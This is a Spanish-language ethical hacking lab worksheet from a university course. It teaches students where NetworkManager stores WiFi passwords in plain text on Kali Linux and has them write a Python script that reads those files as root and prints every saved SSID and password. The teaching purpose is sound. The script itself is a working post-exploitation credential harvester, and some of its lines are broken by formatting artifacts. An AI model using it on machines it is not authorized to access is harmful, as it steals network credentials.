Universidad Tecnológica Fidel Velázquez
Ingeniería en Redes Inteligentes y Ciberseguridad - Hacking Ético

Resolver el siguiente ejercicio contestando únicamente en las hojas. Enviar un sólo archivo en formato PDF a través de la plataforma Google Classroom. Valor de la actividad: 10 puntos.

Nombre del estudiante	
Fecha de la actividad	
Calificación	

Práctica 3: Extracción de Contraseñas WiFi Locales

Resumen

Esta práctica se centra en la post-explotación, específicamente en la extracción de credenciales almacenadas localmente en un sistema. Los alumnos aprenderán cómo Kali Linux (y la mayoría de las distribuciones de Linux) almacena las contraseñas de las redes WiFi a las que se ha conectado y cómo crear un script de Python para automatizar su extracción.

1. Objetivos

- Comprender dónde y cómo NetworkManager almacena las configuraciones de red en Kali Linux.
- Identificar los archivos de configuración que contienen las contraseñas de WiFi (SSID y PSK).
- Desarrollar un script en Python que parsee estos archivos y extraiga las credenciales de forma automática.
- Practicar el uso de los módulos `os` y `re` (Expresiones Regulares) en Python para la búsqueda de patrones.

2. Introducción Teórica

Cuando te conectas a una red WiFi en Kali Linux (que usa NetworkManager por defecto), el sistema guarda la configuración de esa red para poder reconectarse automáticamente en el futuro. Esta información incluye el nombre de la red (SSID), el tipo de seguridad (WPA2, WPA3) y, lo más importante, la clave precompartida (PSK), es decir, la contraseña.

Estos perfiles de conexión se almacenan como archivos de texto simple en el directorio:

```
/etc/NetworkManager/system-connections/
```

Por razones de seguridad, estos archivos solo pueden ser leídos por el usuario `root`. Si un atacante logra escalar privilegios en un sistema Linux, uno de los primeros lugares que mirará para pivotar o robar información es este directorio.

Los archivos de conexión tienen un formato similar a los archivos `.ini` de Windows. La información sensible se encuentra en la sección `[wifi-security]` bajo el parámetro `psk`.

3. Desarrollo de la Práctica

3.1. Paso 1: Exploración Manual (Requiere permisos de root)

Para esta práctica, simularemos que ya hemos obtenido acceso de superusuario (root) en nuestra propia máquina.

1. **Conéctate a una red (si no lo has hecho):** Asegúrate de que tu Kali Linux se haya conectado al menos a una red WiFi (puedes usar la red de tu casa o incluso la de tu móvil). Para esta práctica, no importa si estás conectado por cable (Ethernet), solo necesitas que los perfiles de WiFi *existan*.

2. **Navega al directorio de configuraciones:** Abre tu terminal. Como estos archivos son propiedad de `root`, necesitas elevar tus privilegios.

```
sudo su
cd /etc/NetworkManager/system-connections/
ls -l

```

3. **Inspecciona un archivo de conexión:** Verás uno o más archivos con los nombres de las redes a las que te has conectado (ej: `MiWiFi.nmconnection`).

   Usa `cat` o `less` para ver el contenido de uno de ellos. (Reemplaza `MiWiFi.nmconnection` con el nombre de tu red).

```
cat MiWiFi.nmconnection

```

4. **Analiza la salida:** Deberías ver algo similar a esto. Presta especial atención a las secciones `[wifi]` y `[wifi-security]`.

Listing 1: Ejemplo de archivo .nmconnection

```
connection
id=MiWiFi
uuid=...
type=wifi
...

wifi
mode=infrastructure
ssid=MiWiFi
...

wifi-security
key-mgmt=wpa-psk
psk=EstaEsMiContrasena123
...

ipv4
method=auto
...
```

¡Ahí está! La contraseña está en texto plano junto a la clave `psk=`.

3.2. Paso 2: Creando el Extractor con Python

Ahora, vamos a automatizar este proceso. Crearemos un script que:

- Verifique si se está ejecutando como `root`.
- Navegue al directorio de configuraciones.
- Lea cada archivo de conexión.
- Use expresiones regulares para encontrar el SSID y la PSK.
- Imprima un resumen claro.

1. Crea tu script. En tu carpeta de inicio (no como root), crea el archivo:

```
cd ~
nano wifi_extractor.py

```

2. **Pega el siguiente código en `wifi_extractor.py`:** (Este es el núcleo de la práctica. Analiza cada línea).

```
#!/usr/bin/env python3
import os
import re
import sys

# Ruta donde NetworkManager guarda las conexiones
CONFIG_PATH = "/etc/NetworkManager/system-connections/"

# Expresiones regulares para buscar el SSID y la PSK
# re.compile() pre-compila el patron para que sea mas eficiente
ssid_regex = re.compile(r'^\s*ssid=(.*)\s*$')
psk_regex = re.compile(r'^\s*psk=(.*)\s*$')

def verificar_privilegios():
    """Verifica si el script se esta ejecutando como root."""
    if os.geteuid() != 0:
        print("[-] Error: Este script debe ejecutarse como root.")
        print("    Por favor, ejecutalo con: sudo python3 wifi_extractor.py")
        sys.exit(1)
    print("[+] Privilegios de root verificados.")

def extraer_credenciales():
    """Recorre el directorio de configuraciones y extrae SSIDs y PSKs."""
    print(f"[+] Escaneando directorio: {CONFIG_PATH}\n")

    # Lista de tuplas (ssid, psk) encontradas
    redes_encontradas = []

    try:
        # os.listdir() nos da todos los archivos en la ruta
        archivos_conf = os.listdir(CONFIG_PATH)
    except FileNotFoundError:
        print(f"[-] Error: Directorio no encontrado {CONFIG_PATH}")
        return
    except PermissionError:
        print("[-] Error: Permisos insuficientes. (Esto no deberia pasar si eres root
    )")
        return

```

```
    for archivo in archivos_conf:
        # Nos aseguramos de que sea un archivo de conexion
        if archivo.endswith(".nmconnection"):
            print(f"--- Analizando archivo: {archivo} ---")

            ssid = None
            psk = None

            try:
                # Abrimos y leemos el archivo linea por linea
                ruta_completa = os.path.join(CONFIG_PATH, archivo)
                with open(ruta_completa, 'r') as f:
                    for linea in f:
                        # Buscamos coincidencias con nuestras regex
                        match_ssid = ssid_regex.match(linea)
                        match_psk = psk_regex.match(linea)

                        if match_ssid:
                            ssid = match_ssid.group(1) # group(1) captura el texto
    dentro de (.*)
                        if match_psk:
                            psk = match_psk.group(1)

                if ssid and psk:
                    print(f"[OK] Red encontrada: {ssid}")
                    redes_encontradas.append((ssid, psk))
                elif ssid:
                    print(f"[*] Red sin clave (abierta) o PSK no encontrada: {ssid}")
                else:
                    print(f"[*] Archivo no parece contener una red WiFi valida.")

            except Exception as e:
                print(f"[!] Error leyendo {archivo}: {e}")
            print("-" * (len(archivo) + 24) + "\n")

    return redes_encontradas

def imprimir_resumen(redes):
    """Imprime un resumen claro de las credenciales encontradas."""
    if not redes:
        print("\n[RESUMEN] No se encontraron redes con contrasena (PSK).")
        return

    print("\n" + "="*30)
    print("  RESUMEN DE CREDENCIALES WIFI")
    print("="*30)

    # Calculamos el ancho maximo para formatear la tabla
    max_len_ssid = max(len(s) for s, p in redes) + 2

    print(f"\n{'SSID':<{max_len_ssid}} | {'PASSWORD'}")
    print("-" * (max_len_ssid + 20))

    for ssid, psk in redes:
        print(f"{ssid:<{max_len_ssid}} | {psk}")

    print("\n[+] Extraccion completada.")

# --- Punto de entrada principal ---
if __name__ == "__main__":
    verificar_privilegios()
    credenciales = extraer_credenciales()
```

```
100     imprimir_resumen(credenciales)
```

Listing 2: Script de extracción de WiFi (wifi_extractor.py)

3.3. Paso 3: Ejecución y Pruebas (15 minutos)

1. **Dar permisos de ejecución al script:**

```
1 chmod +x wifi_extractor.py
2
```

2. **Ejecutar el script con privilegios `sudo`:**

```
1 sudo python3 ./wifi_extractor.py
2
```

3. **Analizar la salida:** Si todo funciona correctamente, el script primero verificará que es `root`. Luego, escaneará cada archivo `.nmconnection`, imprimiendo su progreso.

   Finalmente, te mostrará una tabla limpia con todos los SSIDs y contraseñas que encontró en tu sistema.

4. Conclusión (15 minutos)

En esta práctica, has confirmado que las contraseñas de WiFi en entornos Linux se guardan en texto plano en archivos de configuración del sistema. Aunque estos archivos están protegidos y solo `root` puede leerlos, una vez que un atacante escala privilegios, tiene acceso trivial a todas las credenciales WiFi guardadas.

Has automatizado este proceso de extracción usando Python, combinando el manejo de archivos (`os`), la verificación de privilegios (`os.geteuid`) y el análisis de texto con expresiones regulares (`re`).